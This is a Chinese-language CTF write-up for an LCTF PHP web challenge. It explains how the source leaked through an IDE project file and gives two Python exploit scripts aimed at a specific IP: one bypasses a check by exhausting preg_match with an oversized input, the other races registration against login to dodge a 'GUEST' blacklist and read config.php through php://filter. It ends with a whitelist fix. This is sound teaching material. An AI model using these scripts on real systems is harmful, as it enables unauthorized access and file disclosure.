这题通过PHPSTORM的隐藏工程文件.idea/workspace.xml 得到源码, 之前一直在想str_shuffle 的伪随机数预测, 最后也没多少时间做了就结束了,很可惜,赛后看wp发现有两种解法,一种是通过preg_match函数的资源消耗来绕过,第二种是条件竞争, 第一种官方已经给出了wp,因此不再多说,贴出脚本:
# !/usr/bin/env python
# -*- coding: utf-8 -*-
#
import requests
import threading
import re
import os
__author__ = 'Rivir'
s = requests.session()
url = 'http://123.206.120.239/'
url1 = url+'register.php'
url2 = url+'login.php'
url3 = url+'member.php?file=php://filter/resource=config.php'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
def register():
data = {
'username':'rivir23',
'password':'123456',
'code':'xdsec###'+'A'*100000
}
try:
s.post(url1, headers=headers,data=data,timeout=5)
except Exception as e:
print e
pass
#print re1.content
def login():
data = {
'username':'rivir23',
'password':'123456'
}
s.post(url2,headers=headers,data=data)
def member():
res = s.get(url3,headers=headers)
print res.content
if __name__ == '__main__':
register()
#register()
login()
member()
下面主要来看下条件竞争的做法,在register.php中的源码为:
16 || strlen($username) > 16) {
die('Invalid input');
}
$sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch() !== false) {
die('username has been registered');
}
$sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');
$sth->execute([':username' => $username, ':password' => $password]);
preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
if (count($matches) === 3 && $admin === $matches[0]) {
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
$sth->execute([':username' => $username, ':identity' => $matches[1]]);
} else {
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');
$sth->execute([':username' => $username]);
}
echo '';
可以看到存在两步数据库的插表操作,第一次是user表, 第二次是identities表, 由于mysql_query()的延时,前后两步操作是的时间差是可以被竞争利用的
我们再来看下member.php验证的情况:
prepare('SELECT identity FROM identities WHERE username = :username');
$sth->execute([':username' => $_SESSION['username']]);
if ($sth->fetch()[0] === 'GUEST') {
$_SESSION['is_guest'] = true;
}
$_SESSION['is_logined'] = true;
if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) {
}else{
if(isset($_GET['file'])===false)
echo "None";
elseif(is_file($_GET['file']))
echo "you cannot give me a file";
else
readfile($_GET['file']);
}
?>
你好啊,但是你好像不是XDSEC的人,所以我就不给你flag啦~~
关键验证步骤位:
if ($sth->fetch()[0] === 'GUEST') {
$_SESSION['is_guest'] = true;
}
发现这里的验证只是基于一种黑名单的验证,即只要数据库里的值不是“GUEST", 就通过
这样条件竞争的两个前提就都满足了, 下面就是写脚本来开两个线程来跑:
# !/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import threading
import re
import os
__author__ = 'Rivir'
s = requests.session()
url = 'http://123.206.120.239/'
url1 = url+'register.php'
url2 = url+'login.php'
url3 = url+'member.php?file=php://filter/resource=config.php'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
def register(data):
re1 = s.post(url1, headers=headers,data=data)
#print re1.content
def login(data):
re2 = s.post(url2, headers=headers,data=data)
#print re2.content
if 'None' in re2.content:
print re2.content
print 'success!!!'
print data
re3 = s.get(url3,headers=headers).content
if 'LCTF{' in re3:
print re3
def main():
for i in range(1000):
username = os.urandom(4).encode('hex')
password = '2333333'
data = {'username': username, 'password': password}
# print data
t1 = threading.Thread(target=register, args=(data,))
t2 = threading.Thread(target=login, args=(data,))
t1.start()
t2.start()
# t1.join()
# t2.join()
if __name__ == '__main__':
main()
修复方法,验证采用白名单的验证,即把验证程序改成:
if ($sth->fetch()[0] === 'xdsec') {
$_SESSION['is_admin'] = true;
}
近两次比赛被虐哭了,打不过,根本打不过,有那个大佬战队缺人不,萌新求carry。